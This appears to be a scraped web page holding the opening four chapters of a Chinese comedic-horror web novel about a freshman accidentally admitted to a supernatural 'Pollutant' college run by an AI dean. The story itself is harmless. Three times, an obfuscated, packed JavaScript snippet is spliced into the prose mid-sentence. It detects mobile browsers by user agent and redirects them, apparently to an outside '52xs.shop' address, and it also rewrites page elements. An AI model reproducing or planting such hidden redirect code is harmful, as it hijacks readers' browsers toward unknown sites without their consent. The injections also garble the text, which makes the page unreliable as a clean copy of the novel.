《不要在污染物学院网恋》 1. 第一章 “连枝,你的录取通知书到了,在客厅沙发上,自己拆。” 陈女士翘着二郎腿,躺在床上打王者,声音开得很大,时不时可以听到英雄语音。 喻连枝在外面浪了一天,又饿又累。 高考完的这个暑假,他和董大冬去了电玩城,靠着二十块钱的币玩了一整天。 电玩城老板脸都黑了。 他俩怕挨揍,才依依不舍地离开。 “妈,有饭没?” 陈女士眉毛都不抬,从聚精会神的状态可以看出正在打团。 “自己点外卖,没钱了就先用花呗,我打完给你转。” 喻连枝哦了一声。 说实话,他和陈女士的相处方式不太像母子,更像是室友或者兄弟。 喻先生在外地工作,陈女士是自由职业,二人奉行放养式教育,都不怎么管他。 比如说高考结束那天,陈女士问他怎么还不去上学。 又比如说填志愿那天,喻先生问他高考有没有信心。 再比如说现在。 他要拆录取通知书了。 这几天玩疯了,一直闲着没登系统查询,没想到录取通知书到得如此迅速。 黑色的快递包装袋,上面什么也没写。 填了几十个志愿,这一刻开始拆盲盒。 喻连枝手心冒汗,是内蒙古骑马大学吧? 按照他的成绩,内蒙古骑马大学刚好比较稳,专业也很喜欢,还可以骑马上学。 “保佑保佑……” 他慢慢抽出,通知书封皮上的字一个个跳进眼睛。 内……不是。 普? 鲁? 圣?! 什么玩意儿?喻连枝不敢置信,揉了揉眼睛,又看了一遍,2025年普鲁圣大学录取通知书?? 拆开看,淡黄底色的纸张上印着闪闪发亮的烫金字体。 【喻连枝同学,学号20250006,您已被我校录取为污染物专业2025级本科生,请于二零二五年九月一日持本录取通知书到学校报到。 院长:玛丽亚.E】 靠。 真的不是恶作剧吗? 老师我报的北大青鸟为啥给我寄了北大录取通知书?! 喻连枝连滚带爬打开电脑,登陆系统,越看越激动。 第一个志愿填错了,本来就是冲刺院校,他不抱任何希望,也就没检查,输错一个数字,阴差阳错成了普鲁圣,再阴差阳错地捡漏录取上了! 要知道,他的分数再加五十都上不了普鲁圣。 核对了好几遍,心脏像是在充气球,膨胀得快要爆炸。 这可是普鲁圣!省内最好的大学!白纸黑字写着,他——已被录取! “哈哈哈哈哈哈哈哈哈哈!” “小声点,听不见信号了!” 陈女士又开了一把新的游戏,甜美的少女音从扬声器里飘出——羁绊,是什么意思? 喻连枝彻底疯狂,冲进去晃着陈女士的肩。 “妈,这就是羁绊!我填错志愿居然录上了,就输错了一个号,这都能录取,我天生就是要上顶级大学的料!” 陈女士手机掉在床单上,脑浆险些晃匀了,“强子……妈错了,妈给你做饭,不至于杀了我……” 喻连枝停下动作,按捺住情绪,一字一句道:“我被普鲁圣大学录取了!” “你可能不知道,本省最牛逼的大学,省里的清华,我们学校十年上一个,录取我了!” 陈女士虽然对他的成绩没有数,但也开始撒欢,“我儿牛逼!” “那可不。” “牛逼的儿,什么专业?” 喻连枝拿过通知书又看了一眼,“污染物专业。” 没听说过。陈女士竖起大拇指,道:“啊,以后我们家连枝就是小污染家!” 她又打开相亲相爱一家人群,和喻先生说:“庆祝连枝考上普鲁士大学!” 喻先生回得很快,发了个超大红包。 喻连枝拍了录取通知书,发到群里。 【喻先生】:现在污染多严重,这个专业好,出来就是大污染家[大拇指] 怪不得你俩是夫妻呢。 【帘子】:有没有可能,那叫污染防治专家? 喻连枝捧着通知书走了,整个假期嘴角都掉不下来,心里狂喜,行动却意外的低调。 董大冬也收到了录取通知书,当地的一个二本,他兴冲冲地跑来分享,顺嘴问起喻连枝的学校,喻连枝缄口不言。 所有人都以为他考砸了,可能面临复读,但实际上他在酝酿一个大的——必须在开学那天装一波。 整个假期过得很愉快,喻连枝吃吃喝喝的同时还上网搜了普鲁圣污染物专业,可惜消息非常少。 似乎是个超级冷门专业,每年只招收一个班的学生,才被他捡漏了。 对于喻连枝来说,能进普鲁圣就是最好的选择,管他什么专业,又不是不能转。 通过他不懈的努力,大海淘沙,最终找到了污染物学院的新生群。 申请通过的时候他正和董大冬吃饭。 董大冬那天刚好成年,为了展示男人气概,点了好几瓶啤酒。 【兔儿神】:欢迎25级小萌新加入污染物大家庭! 【兔儿神】:吱个声,萌新。 喻连枝看到群消息,心下紧张,这人的头像是一只沧桑的恐怖兔子,应该是学长。 学长点名了,怎么回! 【帘子】:大家好。 会不会太高冷了?喻连枝有些忐忑,决定发一个表情包缓解尴尬。 第三排第一个,一群人举起右手宣誓,配文:宁可离婚,绝不退群。 就这个,发送。 这时,董大冬已经喝多了,过来勾肩搭背,道:“哥们,考不好没关系,不就是复读吗,兄弟支持你!” “谁说我要复读了。” “大家都这么说啊,还是说你要出国留学……” “谣言,别信。” 喻连枝推开他,美得冒泡,心说哥未来可期,到时候摊牌了吓不死你。 他重新打开手机,浏览群消息。 【兔儿神】:? 【灼光】:? 【朦胧见】:? 喻连枝:?发生什么了? 他往上翻聊天记录,眼前一黑。 被董大冬推搡得手一抖,发成了第三排第二个表情包。 熊猫头,配文:这个群,老子就是爹,你们只配给老子舔鞋。 完了,撤回不了。 他发誓,这个真的是兄弟群搞抽象闹着玩才存的!喻连枝秒速滑跪,解释了一下。 【帘子】:不好意思,发错了,我想发的其实是这个。 他的手指再次落在“宁可离婚,绝不退群”上,手指落下的瞬间,董大冬又来了,抓着他的杯子就吼。 “喝!老子第一次喝酒!不醉不归!” 【帘子】:熊猫捂脸笑(群主追我八条街,非说我是他亲爹) …… “董大冬,你真是活爹!” 董大冬一脸懵逼,“为什么突然开始尊敬我?” 喻连枝:……滚。 人可以死,但是不能社死。 他火速撤回表情包,这次群里鸦雀无声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622954|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,气氛微妙。群主也没说话,不知道有没有看见这个大逆不道的熊猫头。 群聊成员第一位是个纯黑头像,群昵称:学生会会长。 他犹豫着给群主发了好友申请,寻思要不要道个歉,群里又有动静了。 【兔儿神】在万籁俱寂中发了条消息:宝宝很有性格,但是后天开学啦(笑脸) 死亡微笑。 完了,一切都完了。 — 【拿到普鲁圣大学体验卡四年,早知道多玩会儿了,还真给我考上了。】 所在位置:普鲁圣大学南门 谁可以看:公开 点击发表。 开学日。 喻连枝往后一靠,和气派至极的白金校门合了张影,然后捧着手机傻乐。 高考志愿填得好,少考五十上名校。 马上就有人私聊他。 【大冬瓜】:卧槽!!!不是哥们,瞒了这么久?全省最高端的大学啊,我还以为你要复读,为你伤心了好久!妈的,欺骗我感情! 【大冬瓜】:普鲁圣里头长啥样啊? 喻连枝环视四周,校园美丽整洁,大楼洁白无瑕,像一块块大理石矗立在沥青路面上。 【帘子】:非常好的学校,使我陶醉其中。 【大冬瓜】:还装起来了哥们。 【大冬瓜】:听说是我们省平均颜值最高的大学,学姐是不是都跟天仙一样? 喻连枝呲着大牙乐,旁边走过去几个高大俊美的学长,穿着时下最流行的潮牌,带着一阵香气。 爱马仕大地。 【帘子】:连学长都跟天仙一样。 【大冬瓜】:咦,你咋gaygay的? 【帘子】:律师函发你了,注意言辞。 朋友圈的评论区瞬间点燃,一条条恭喜的评论涌现,伴随着震惊,羡慕,难以置信,简直是史上最爽装B的瞬间。 喻连枝拖着行李箱走进校门,道路两旁很热闹,支起了许多棚子,贴着某某学院的牌。 经济学院、外国语学院、信息学院、法学院、艺术学院…… 等等,怎么没有污染物学院? 他以为自己看漏了,又折返走了一遍,咕噜噜拉着行李箱,如同一只盲目的小蜜蜂。 可还是没有。 一旁的热心学姐问:“你是什么学院的?我帮你找找。” “看你转了好久,喝水吗?”热心学长递过一瓶矿泉水。 喻连枝长得很精致,眼睛随了陈女士,漂亮清澈,眼尾略微圆润,鼻子随了喻先生,线条清晰,鼻梁高挺。五官立体度高,气质又不尖锐,刚好是斩男也斩女的好相貌。 他接过水,说了声谢谢,“我是污染物学院的新生。” “污染物?”学长摇了摇头,“没听说过有这个学院啊。” “这是我的录取通知书。” “通知书是对的,”学长翻看了一下,忽然指着末尾的落款说,“不、不对,这里是校长,不是院长,校长叫王德发。” 他借了路过新生的通知书来看,末尾王德发三个龙飞凤舞的字。 而自己的录取通知书上,写着“院长:玛丽亚.E”。 之前被馅饼砸晕了没注意,哪有院长叫这个名字,玛丽亚E,我还JK罗琳呢。简直是蹩脚至极的恶作剧。 究竟是哪位神通广大的佛祖,甚至买通了省教育厅系统,就为了陷害他这个平平无奇的高中生? 细思鼻孔。 九月初又叫秋老虎,阳光依旧灿烂热烈,柏油路被晒得发软,喧嚣如火蒸腾。 喻连枝额角缓缓留下一滴冷汗,他如坠冰窟。 2. 第二章 学姐在登陆系统,她应该是学生会的干部,忽然惊喜道:“找到了!” 她拍了学长一下。 “你少吓唬弟弟,有这个专业,在新校区呢!” 喻连枝把头凑过去看,整个校区只有污染物一个专业。 地址是:南曲省北冥市盘淅区亚洲岛001号。 “这里不就是吗?”他问。 “不是呀,我们是亚洲路,不是亚洲岛。” 恍然大悟!他刚才打车的时候没说清楚,司机误会了,搞了一通恐惧震慑。 学姐道:“这个地方我知道,近几年开发的人工岛屿,从校门口打车过去也就十几公里。” 天哪,人工岛屿? 普鲁圣大学阔成这样了? 学长把他送到校门口,贴心地帮忙打车,“以后可以来我们这个校区玩哦!” “快去报到吧!” “嗯,谢谢学长学姐。” 喻连枝和他们道别,坐上了车。 这次和司机确认了好几遍,目的地没错,他才放下心来,打开□□,发了条消息。 【帘子】:吓鼠啦,走错校区了!好在遇到善良学哥学姐,救我一命。 对方显示正在输入中。 【帘子】:亚洲路和亚洲岛竟然不一样,等我当上市长,一定把这破名字改了。 对方仍然显示正在输入中。 喻连枝坐车玩手机会头晕,只好放下手机,目光投向窗外。 这哥们就是打字慢慢吞吞,说话死气沉沉,但他是个好人。 那天在群里冒犯了学生会会长后,他又解释了一番,可是没人信,第一次是手滑,第二次只能是狡猾了。 会长也一直没有通过好友申请,估计是很生气,后果很严重。 当晚,有个网名叫【灾厄】的人主动加他。 第一句话就是:你很有勇气。 …… 喻连枝如临大敌的神经放松下来。 我靠。 上来就夸人。 必须做朋友! 他感动哭了,如果对方说“你小子真勇”或者“真拽啊你”之类的,他还能理解为讽刺自己。可是【灾厄】,没有加阴阳怪气表情,也没有任何语气助词,五个字正直得像是褒奖。 在他被全群成员孤立的时候,【灾厄】就如同一束光,照亮了心灵。 【帘子】:上网只是为了等你,我的朋友(手捧花) 【灾厄】:? 他又和灾厄解释了一遍事情始末,说明自己真的不是没礼貌,都是董大冬的错。 自己对伟大的学生会会长怀有最崇高的敬意!绝无二心! 【帘子】:你会相信我的,对吗?(眼泪汪汪小猫对手指表情包) 【灾厄】:…… 【帘子】:你的名字好酷。头像是克苏鲁吗?有种男人的魅力,帅惨了!我也超级喜欢触手系的! 【灾厄】:。 很高冷的人,喻连枝还想夸什么,陈女士叫他去洗澡,洗了个澡回来,发现对方总算回了两个字。 【灾厄】:真的? …… 回忆结束。 这名叫做某飙的司机人如其名,滴滴开成过山车,他要吐了。 喻连枝深呼吸,摇下车窗,不知道为什么,也许是因为岛屿,这边的空气更冷更湿,他打了个寒颤。 市里还是四车道,这边就只剩双车道了,甚至越走越窄,两边的树木却愈发高大,遮天蔽日,张牙舞爪。 沥青路面逐渐变成水泥,又变成泥土,车上挂满泥点子,司机骂骂咧咧,说以后再接来亚洲岛的单子就是狗。 手机屏亮了,他用指纹解锁,对方依然惜字如金,并没有对他走错校区发表感想,回了个哦。 【帘子】:霸道总裁啊你。 【灾厄】:不是。 喻连枝和他开玩笑,故意找了个双开门表情包,男人之间嘲笑一下应该无伤大雅吧。 【帘子】:立马要了你! 对方没回,好像是大二学生,估计课业繁忙,没空理他。 呲—— 出租车猛得停下,轮子摩擦地面发出刺耳的叫声,司机回过头,“到了,二百五十一,算你二百五。” 你才二百五! “谢谢师傅。” 喻连枝老实地付完钱,怀疑司机骂人,但没有证据。 他拉着行李箱往校园走,这边的校区其实占地挺大,装修和环境不比主校区差,就是位置偏了点。 校门口异形石头上刻着“污染物学院”五个大字,刻痕里刷了红色油漆,往下淌,干在石壁上,乍一看像血迹。 石头旁拉着一张廉价横幅——欢迎新生入学! 收的学生少,门口凄凄惨惨戚戚,还有个限制出入的闸机。 门卫保安是个上了年纪的大爷,眼睛不好使,耳朵也不好使,扯着老化嘶哑的嗓音讲话。 “麻烦开下门,我是新生。” “啊——什么先生——” “我说我来报到!” “什么狗屁倒灶——” 喻连枝急了,大声喊:“报——到——” “吓——尿——?” 喻连枝:活人微死,勿扰。 肩头被人拍了一下,耳畔传来一声嗤笑。 “这么文明干什么,直接进去不就好了,老头又跑不动。” 这人单手撑着闸机翻过去,扎着和古代将军一样的高马尾编发。 喻连枝望去,他的五官很凌厉,发间别了一朵仿真花,如果没看错,那是植物大战僵尸里的食人花。还挺有童心。 “等等,真的直接翻吗?这不好吧?” 食人花同学催促道:“快点,他不会放你进来的,我劝你迈开腿,别墨迹,时间来不及了。” “什么时间?” 喻连枝拖着行李箱翻闸机,不太利索。 “当然是老头的热身时间啊。” “跳健美操么,还热身……”刚翻进来,保安亭的门唰得开了。 喻连枝僵硬地扭过头,表情彻底挂不住了。 这特么狂犬病啊?! 老头伏在地上,精肉贴裹着骨头,宛如钢筋捏成的雕塑,嘴里涎水直流,喉咙间发出毛骨悚然的犬吠。 他脊背一股,白发朝天竖起,直直朝喻连枝扑来。 “救、命、啊!!!!!” 喻连枝行李箱一扔,撒腿就跑。 他曾经拿过高中运动会200米冠军,速度不算慢,现在肾上腺素飙升,应该爆发地更快。可老头在后面紧追不舍,几次牙尖要碰上他的脚后跟。 明明看着苍老得要散架了似的,跑起来却跟疯狗一样。 食人花同学游刃有余,边跑还能边搭话,“你是新生吗?别遛老头了。” “我是啊啊啊啊啊但是啊啊啊啊啊……” 食人花同学:“你好坏哦,不过我第一次来也忍不住遛他玩。” “不是啊啊啊啊啊啊啊……” 喻连枝有苦说不出,肺要炸了,双腿机械地摆动,偌大的校园里一个人都没有,唯一的同学疑似傻子。 食人花:“别闹了,把老头整散架了学生会得找你麻烦,快进教学楼吧。” 教学楼!在哪? 喻连枝得到关键词,刚才过于紧张没注意,绕着花坛跑了好几圈,原来教学楼就在右边。 他拼了命地往教学楼跑去,推开大门,然后飞速锁上。 透过玻璃门,看见老头放慢脚步,嗷嗷叫着返回了,从趴着到直立行走,上演了一出人类进化论。 得救了。 喻连枝劫后余生,呼出一口气,一转身,脸爆红愣在原地。 一群人正看傻子一样看着他。 “我不是疯子,是他……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622955|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这群人窃窃私语。 “门卫一直都这样?你们没看到吗?!” “看到了。” 一道声音横空劈来,咬字非常冰冷,低至零度,很低沉磁性的音色,但有一种经过调音器的非人质感。 奇怪的是,只有一个声源,声音却在整栋楼里回荡,让人分辨不出是谁在说话。 只觉得遍体生寒。 喻连枝往后退了一步,撇头,食人花同学递给他一个同情的眼神。 那个声音继续说:“欺老凌弱,刻意欺负无辜的守门人,请于二十四小时内前往学生会办公室检讨,否则禁闭一周。” ??? 请苍天!辨忠奸!! 喻连枝快被气笑了,想反驳,食人花同学扯住他的衣袖,摇了摇头。 凝滞的冷空气忽得抽离,人群开始动起来,往教学楼外去。 食人花同学压低声音,“说话的是学生会会长,和他对着干没有好下场。” 原来那就是传说中的会长,真够拽的,平时说话都用校园广播。 喻连枝想起自己早就得罪了,幸好没有实名制,无人知道【帘子】是谁。 食人花同学:“总之别惹学生会,那是群疯子,随随便便就能把我们吞了。” “吞呗。”喻连枝冷笑:“还能让我退学?” “……不能。” “那怕什么,现在可是法制社会。” “你好狂啊。”食人花打心眼里的佩服,伸出手,“认识一下,我叫花添错,大二。” 《花田错》开始在脑海中循环播放。 “我叫王力宏。”喻连枝和他握手,“开个玩笑,我叫喻连枝。” 花添错帮他拎回行李,喻连枝没忍住,又朝保安亭看了一眼。 老头恢复原来的模样,颤颤巍巍地坐着,双眼浑浊失神。 瘦小干瘪的身子缩在破破烂烂的保安服里,一整个风烛残年孤寡老人,显得很可怜。 喻连枝猜他应该是有某种疾病,老年痴呆或者癫痫之类的,这么想想也挺悲惨,生病了子女不给他养老,一把年纪了还要出来上班。 他的心中涌起一股正义感,大声地说:“老爷爷,你需要帮助吗?” 老头扯着耳朵。 “什么——本草纲目——?” “没事。您还听流行乐呢。” 喻连枝拉着行李箱转身离去,虽然开学第一天就出糗,但大学生活才刚刚开始,保持乐观!积极向上! 花添错帮他找到宿舍楼就去上课了,临走时道:“兄弟,这一去不知道还能不能相见,学院给我派了A级任务。” 他一脸“再见时已是人鬼殊途”的悲怆。 “哥,”喻连枝问,“学业压力这么重吗?” “你不懂我这种菜鸡的痛。” 喻连枝还想说什么,花添错甩着发辫走了,他一个人上楼,找到寝室号。 158,四人寝,上床下桌。 由于招生人数不足,新生直接和老生同住,看哪个寝室有位置就安插在哪儿。 推开门,屋里开了空调,一下子将人从夏天拔出来,摁进寒冬腊月。 三位学长都不在寝室,喻连枝趁机扫视了一圈。 一号床,干净整洁,一丝不苟,严重怀疑这名学长当过兵。桌面上什么都没有,要不是旁边放着一把红缨枪,他都要以为这是个空床位了。 二号床形成鲜明对比,桌面上摆满大牌护肤品,光是口红就有整整一收纳盒,另一边则是各式各样的小玩意儿和摆件,床上挂了粉色的窗帘。 三号床很普通,一台价格不菲的苹果电脑,一些书,一个保温杯,都是黑白灰三色极简风格,看起来是个性冷淡,挂了黑色床帘。 喻连枝只是试图判断舍友的类型,并没有窥探他人的癖好。 收回目光,正准备收拾自己的床铺,宿舍门外传来一阵窃窃私语。 3. 第三章 “里面有别人的气息,我能吞吗?” 另一个声音稍显雌雄莫辨,语调轻柔婉转,“不能。” “吃一口也不行?” “不行。” “偷偷宰了呢?” “不可以。” 提问的人显然有些气馁,幽幽叹气,“知道了。” 喻连枝毛骨悚然。 什么宰不宰的?他是只小猪吗?! 一阵阴风拂过,吱呀一声,门缓缓撩开一道缝隙,一只青白的纤纤玉手探了进来,毫无血色如同鬼形。 这种场景很适合配上烟雾缭绕,就是中式恐怖电影的经典桥段。 喻连枝忽然觉得有些冷,直到两人进了寝室。 前面这人形销骨立,秀发如瀑,红唇含笑,穿着一身青玉长袍,如同一支斜倚的诡艳病竹。 后面的人身上裹着带血的绷带,面容利落,眼神空洞茫然,似乎无时无刻在发呆。 他顿时不害怕了。 两个二次元,估计是在玩角色扮演。众所周知,二次元友友都是很友善的。 “学长们好,我是大一新生喻连枝,你们刚从漫展回来么?”他笑眯眯地介绍自己。 “漫展?没有。”前面那人挑起嘴角,愈发娇艳,“大二,薄空朦。”他指了指身边的哑巴,“杜影,他认生,不爱说话,请见谅。” 杜影目光游离,不知道在想什么。 喻连枝赶紧说:“没事没事,哥真有个性。对了,还有个哥没回来?” 薄空朦道:“他大三很忙,经常半夜回寝室,不用管。” 他说完,在一号床坐下了。 杜影直直走向粉色少女心的二号床,拿起一个糖果发卡别住刘海,开始涂涂抹抹。 两人的人设碎成渣渣。 真是人不可貌相,美男舞枪弄棒,酷哥含苞待放。 还有,薄学长那么红的嘴居然是天生的! 喻连枝从床上爬下来,从行李箱里翻出三包零食。跟室友打好关系的第一步,就是分享,独乐乐不如众乐乐。 “哥,我从南海市带了点特产,你们吃吗?” 二人都没有拒绝,他按顺序分发,三号床的学长人不在,只好放在他桌子上。 薄空朦看着包装袋上的字样,面上浮起一抹怪异的笑。 喻连枝道:“可香了,南海市本地著名老牌,干净卫生放心吃。可以下饭,也可以看剧吃,我一天能吃一包。” “多谢。” “别客气,以后都是舍友,大家都是我亲哥!” 薄空朦擦着红缨枪,枪头闪烁寒光,缓缓道:“三号床的亲哥特别喜欢吃,他一定会好好关照你的。” 舍友都是大好人!喻连枝发自肺腑地扬起笑脸,然后继续收拾东西。 他东西不多,一个小时就摆完了,一看手机,大群里发了通知。 ——请25届新生四点前往四号楼楼444室报到。 一连串的四,怪不吉利。 现在已经三点半了,喻连枝带了支笔就出发,走出寝室,才发觉自己应该向学长问一下路的。 校园又大又空旷,绿化还做得很好,仿佛误入魔幻原始森林,一不小心就迷失了方向。 等他找到四号楼的时候,刚好四点。 爬了四层楼,光线愈发昏暗,这么大的教学楼居然不点灯,也没有窗户,四楼几乎是伸手不见五指。 只有幽绿的“逃生出口”忽明忽灭地闪着光。 喻连枝紧张地咽口水。 他从不看恐怖电影,因为他是个脑补狂魔。小时候被陈女士搂着看了一部《小丑回魂》,给幼小的心灵造成了不可磨灭的伤害,以至于每次遇到黑黢黢的楼道,都感觉有个诡异的微笑小丑要从哪里冒出来。 441、442、443、445…… 不对,他回过头,又数了一遍。 没有444。 喻连枝僵在原地,后背发寒,手机屏幕光亮的照射下,黑暗之中有个晃动的诡异兔头。 后悔了,小学的时候就应该躲在被子里熬夜玩手机,把5.0的视力看成近视! 印象中的小兔子都长着萌萌的小脸,没想到世上竟还有如此凶相的兔脸。覆盖的绒毛极其短,像是秃了,筋肉横生,眼睛狭长却没有瞳孔,空荡荡地晃着血。 而兔头之下,嫁接着人的身子! 似人非人。 恐怖谷效应达到极致,喻连枝转身就跑,手被一股巨力拉住了。 兔头人不知什么时候闪到他的身旁,声音裹挟着森森笑意。 “快点进来吧,大家都到齐了,就等你了啦。” 喻连枝闻声,转过头。 刚才的一切仿佛幻觉。 拉住自己的是个正常人类,五官清秀,身上香香的,说话嗲嗲的。 他揉了揉眼睛,脑子一片空白。 “同学?别发呆了,班会要开始了啦。” 喻连枝呆如木鸡地被他拖着走,这人看着瘦小,力气还挺大。 推开门,喻连枝抬头看向写着“444”的门牌,舒了一口气。 原来444室不在左侧,在右侧,难怪没找到。那个什么兔头人,都是眼花了,自己吓自己。 教室里约莫二十人,没有一丝异常,普通得如同任何一个大学的班会。 兔头、哦不,这位陌生同学是个热心肠,体贴地帮喻连枝找了位置坐下,“同学,你坐这里吧。” “谢谢。” 入座后,喻连枝无意识地转笔,讲台上空无一人。 他心说辅导员怎么还迟到,教室前方的教学一体机哔得一声亮了。 一个机器人出现在屏幕里,机械声音通过扩音器传出来。 “各位同学下午好,我是你们的院长兼辅导员——玛丽亚.E。很荣幸将陪伴各位度过接下来四年的大学时光。” 喻连枝挠挠头,小声问身边的同学,“这是导员设计的特殊环节吗?” 总不能真是人机吧? 略显憨厚老实的同桌说:“你不知道吗,导员是人工智能。” “……我去,这么先进?!” 他抬起头继续听讲。 虽然是个AI,但玛丽亚.E说话和正常辅导员别无二致,先点了全班的名。 那个兔头、不是,热心同学是1号,原来叫“涂乐意”。 导员再中规中矩地介绍了学校荣誉,然后强调了几个安全问题和入学须知。 …… “第三,绝对服从课业安排,不拿到所有课程的学分将会面临毕不了业的情况,导师会综合考虑每节课的分数,在期末为各位更新等级。” “第四,从明天开始,25级全体学生将进行为期一周的军训,今晚会将军训服分发到各位的寝室,明天八点请准时到达操场……” “第五……” 第五人格启动! 喻连枝在心里接话,并且和所有无知且无畏的大学生一样,打开手机摸鱼。 【帘子】:我靠,我们辅导员是人机! 【大冬瓜】:骂人干嘛?! 【帘子】:不是啊,我说真的…… 【大冬瓜】:他得罪你了? 喻连枝不想和董大冬说话了,切到另一个界面。 他刚加入班级群聊,手忙脚乱地把群昵称改成实名。这时班群里没人说话,涂乐意发了个表情包。 黑色恐怖兔子头像有点眼熟,这不是新生群那个【兔儿神】吗?! 导员:“说完事项,现在我们竞选下班长,有意向的同学可以举手。” 班委? 喻连枝作为一条躺平咸鱼,立即抬头吃瓜。班上陆陆续续举了三只手,其中就有兔、不是,涂乐意。 如果投票的话,他一定会投给涂同学。 可惜了。导员说:“请三位同学前往辅导员办公室一决高下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622956|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喻连枝一脸迷茫。 涂乐意唰得站起来,秀气的眼睛里敌意深重,好像要去决斗的勇士。 三人彼此间对视一眼,空气中都快出现噼里啪啦的闪电了。 这个气势真的很像去干架。 喻连枝难免有些担心,涂乐意是其中最矮小的,不会挨揍吧? 三人出去,门重新关上。 “最后,”导员说,“祝愿大家在大学生活中不负青春,不负韶华,砥砺前行,努力活着!班会到此结束,感谢聆听。再会。” 班上响起稀稀拉拉的掌声。 屏幕刹那黑了,反映出一屋子清澈愚蠢的面孔。 “兄弟,加个v?”同学们陆陆续续地起身出去,喻连枝伸了个懒腰,侧头询问同桌的男生。 史钟是个有些微胖的男生,很是害羞腼腆地递过手机,小声说:“好。” 加上好友,喻连枝看到他的头像是坨果冻,网名叫【史莱姆】。 两人算是彼此认识的第一个大学同学,结伴去食堂买饭。 学校食堂有三层,一二层是普通饭菜,第三层紧锁着门。 史钟说:“三楼是骨肉食堂,很贵的,一顿饭至少八百。” “夺少?!”喻连枝震惊,“骨肉相连都敢卖这么贵了?我还是吃点三花淡奶麻辣烫吧。” 史钟点头,“我也爱吃麻辣烫。” 他对学校的了解程度挺高,喻连枝边吃边问:“如果有个人被学生会通报,让他二十四小时内检讨,但他丝毫不管,会怎样?” “啊?”史钟吓得撒尿牛丸滚回碗里,“会被关禁闭。”他压低声音,“禁闭室里,有一种非常恐怖的东西,会将人绞成碎肉,然后彻底吞掉……” 喻连枝听得津津有味。 哪个学校没点恐怖怪谈? 史钟说:“总之还是认错的好,据说会长很有势力,得罪他可能会挂科。” “挂科?!” 喻连枝吓掉了筷子,“这是官僚主义啊官僚主义……” 死,可以;挂科,不行。 明天就收拾收拾负荆请罪。 — 158寝室,持续低温。 薄空朦捂着嘴偷笑,眼中露出直白的恶意。 三号床前立着一道颀长挺拔的身影。 这人五官俊美无俦,眼神却漠然冷寂,弥漫着死气沉沉的雾霭,落在桌面的零食包装袋上。 上面赫然写着“甜甜辣辣章鱼足”几个大字。 好。 很好。 非常好。 戴着黑色皮质手套的手轻而易举地捏扁零食,周身的压迫凝成实质,寝室如同瞬间坠入潮湿的阿鼻地狱,腐朽的腕足和黏液在起伏、呼吸、窃语…… 眨眼间,零食凭空消失,没有留下一丝曾经存在的痕迹。 符停如匕首般锋利的眼睫垂下,异变的躯体堪堪收住,一言不发,大步离开寝室。 寝室回温,杜影敷着面膜,不明所以。 薄空朦幸灾乐祸地嗤笑,“某人被小学弟气走喽。” — 睡前,喻连枝捧着手机玩。 寝室不到十点就熄灯了,两个学长早早上床休息,他就猫在被子里掩住手机的亮光。 微信聊天记录停留在司机那部分,【灾厄】回了一个句号。 非常高冷。 喻连枝一想到明早军训完还要去检讨,忍不住和他抱怨发生的事情。 【帘子】:我真服了,刚进学校就遇上傻逼了,晦气。 越想越气。 【帘子】:不知道那哥们儿想干嘛,明明就不是我的错,欺负我一个新生,他简直就是—— 【帘子】:(粑粑)(粑粑)(粑粑) 只有把脏话说出口,嘴巴才会干净。 想到明早还要早起,喻连枝骂完就睡着了。 深夜,压在枕头底下的手机收到一条消息,屏幕倏忽亮起。 4. 第四章 【灾厄】:谁? — 次日一早,喻连枝精神抖擞来到操场。 贵族学校就是不一样,军训服不是高中时期那种廉价的网眼迷彩套装,而是真正的战术装甲背心,穿上立马幻视德国ksk特种兵。 肉眼可见的酷炫,喻连枝翘着嘴角,早起的困倦一扫而空,感觉自己能上演一出士兵突击。 唯一一位教官站在主席台下,戴着军事机械头盔,防爆护目镜,黑色迷彩面罩,胸肌大到爆炸,喻连枝羡慕地瞄了两眼。 哇塞,太帅了吧。 专业总共二十人,按照身高排成小方阵,喻连枝身高居中,站在四排四列。 教官背着手,气势磅礴,“全体队员,谁是班长,出列,点个名。” 涂乐意从第一排冒出来,在壮如一堵墙的教官面前更显迷你。 他用一口台湾腔点完名归队,姿势飒爽,鞋跟碰撞出清脆的响声。 喻连枝在心里嘿了一声,人小志气高。 “很好。”教官说:“先介绍一下,我姓李,称呼我为李教官就行。至于名字和记录名称,以后有缘自然会知道。” 玛丽亚.E院长波澜不惊的机械音通过广播直达耳膜,按照惯例发表了军训动员大会的演讲,宣布军训正式开始。 不出意外,所有学校的军训刚开始都是站军姿。 普鲁圣大学的军训服再高级又怎么样,还不是要从最基础的练起。 喻连枝昏昏欲睡,出了一脑门的汗,头顶烈阳高照,今天温度出奇得高。 不禁想起一句广告:连枝酱油美味鲜,晒足一百八十天。 还不如穿点廉价小迷彩,至少透气。 — 青衣咖啡馆。 